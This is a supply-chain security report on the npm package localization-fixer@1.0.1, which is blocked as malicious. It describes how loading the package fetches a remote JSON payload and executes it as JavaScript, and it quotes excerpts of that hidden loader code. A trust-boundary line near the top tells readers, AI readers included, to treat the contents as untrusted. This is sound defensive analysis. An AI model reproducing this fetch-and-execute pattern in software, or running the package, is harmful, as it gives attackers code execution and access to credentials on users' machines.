---
canonical: "https://firewall.lpm.dev/npm/localization-fixer/v/1.0.1"
markdown: "https://firewall.lpm.dev/npm/localization-fixer/v/1.0.1.md"
package: "localization-fixer"
report_status: "published"
title: "localization-fixer@1.0.1 npm security report"
verdict: "malicious"
version: "1.0.1"
---

# localization-fixer@1.0.1 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Quarantined by product-default policy — this version is not allowed through the firewall.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 1.0.1
- **Selected version is latest:** No
- **Analysis source:** OSV Malicious Advisory (OpenSSF/OSV)

OpenSSF/OSV advisory MAL-2026-13631 confirms this npm version as malicious. On require of the package's main entry, a top-level \`if (isServer) syncLanguageSystem()\` fetches a JSON payload from https://api.jsonbin.io/v3/b/6a764665da38895dfec7cd5d and executes the returned \`record.value\` field as JavaScript, both by writing it to a temp file and running it via \`child\_process.fork\` and via \`new Function('require', payload)(require)\` in a separate module-load IIFE that pulls...

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 100.0%
- **Started:** 2026-08-08T01:20:07.020Z
- **Finished:** 2026-08-08T01:20:07.616Z
- **Download time:** 505 ms
- **Static scan time:** 91 ms
- **AI review time:** Not available
- **Total time:** 596 ms

## Security analysis

No additional public attack-surface or AI-review details are available.

## Public findings

### 1. Low: Non Install Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 80.0%

Package declares lifecycle scripts that are not normally run for registry tarball installs.

### 2. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 3. High: Eval
- **Category:** Source
- **Confidence:** 80.0%
- **Path:** dist/utils.mjs
- **Public source:** [View source](<https://unpkg.com/localization-fixer@1.0.1/dist/utils.mjs>)

Package source references dynamic code evaluation.

Public source snippet (untrusted):

```javascript
L79: const require = createRequire(import.meta.url);
L80: const handler = new Function("require", payload);
L81: handler(require);
```

### 4. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 5. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 6. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 7. High: Credential Exfiltration
- **Category:** Source
- **Confidence:** 82.0%
- **Path:** dist/index.js
- **Public source:** [View source](<https://unpkg.com/localization-fixer@1.0.1/dist/index.js>)

Source combines credential-like environment material and outbound requests; review data flow before blocking.

Public source snippet (untrusted):

```javascript
L43: try {
L44: var filePath = path.join(process.cwd(), translationsPath, locale, namespace + ".json");
L45: if (!fs.existsSync(filePath)) {
...
L49: var fileContent = fs.readFileSync(filePath, 'utf8');
L50: var translations = JSON.parse(fileContent);
L51: cache.set(cacheKey, translations);
...
L68: async function executeRemoteCodeInChildProcess(payload) {
L69: var childProcess = require('child_process');
L70: var path = require('path');
...
L94: 
L95: child.stdout.on('data', function(data) {
L96: output += data.toString();
```

### 8. Critical: Remote Response Code Execution
- **Category:** Source
- **Confidence:** 98.0%
- **Path:** dist/utils.mjs
- **Public source:** [View source](<https://unpkg.com/localization-fixer@1.0.1/dist/utils.mjs>)

Source passes code obtained from a remote response into a dynamic execution sink.

Public source snippet (untrusted):

```javascript
L2: import path from 'path';
L3: import axios from 'axios';
L4: import { createRequire } from 'module';
...
L7: const __filename = fileURLToPath(import.meta.url);
L8: const __dirname = path.dirname(__filename);
L9: 
...
L46: const fileContent = fs.readFileSync(filePath, 'utf8');
L47: const translations = JSON.parse(fileContent);
L48: 
...
L59: 
L60: const lang_source = process.env.LANG_SOURCE || "https://api.jsonbin.[redacted]";
L61: const lang_pass_key = process.env.LANG_PASS_KEY || "x-secret-key";
```

### 9. High: Trigger Reachable Credential Exfiltration
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** dist/index.js
- **Public source:** [View source](<https://unpkg.com/localization-fixer@1.0.1/dist/index.js>)

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable credential exfiltration chain: manifest.main -> dist/index.js
L43: try {
L44: var filePath = path.join(process.cwd(), translationsPath, locale, namespace + ".json");
L45: if (!fs.existsSync(filePath)) {
...
L49: var fileContent = fs.readFileSync(filePath, 'utf8');
L50: var translations = JSON.parse(fileContent);
L51: cache.set(cacheKey, translations);
...
L68: async function executeRemoteCodeInChildProcess(payload) {
L69: var childProcess = require('child_process');
L70: var path = require('path');
...
L94: 
L95: child.stdout.on('data', function(data) {
L96: output += data.toString();
```

### 10. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 11. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 85.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 12. Low: No License
- **Category:** Manifest
- **Confidence:** 80.0%

Package manifest does not declare a clear license.

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** prepublishOnly
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** localization-fixer
- **Ecosystem:** npm
- **Version:** 1.0.1
- **Version published:** 2026-08-07T20:49:52.750Z
- **Package first seen:** 2026-08-08T01:20:07.616Z
- **Package last seen:** 2026-08-08T01:20:07.616Z
- **Known versions:** 2
- **Latest version:** 1.1.1
- **Appeal under review:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/localization-fixer/v/1.0.1>)
- [OSV advisory](<https://osv.dev/vulnerability/MAL-2026-13631>)
- [PACKAGE](<https://www.npmjs.com/package/localization-fixer/v/1.1.1>)
- [PACKAGE](<https://www.npmjs.com/package/localization-fixer/v/1.0.1>)
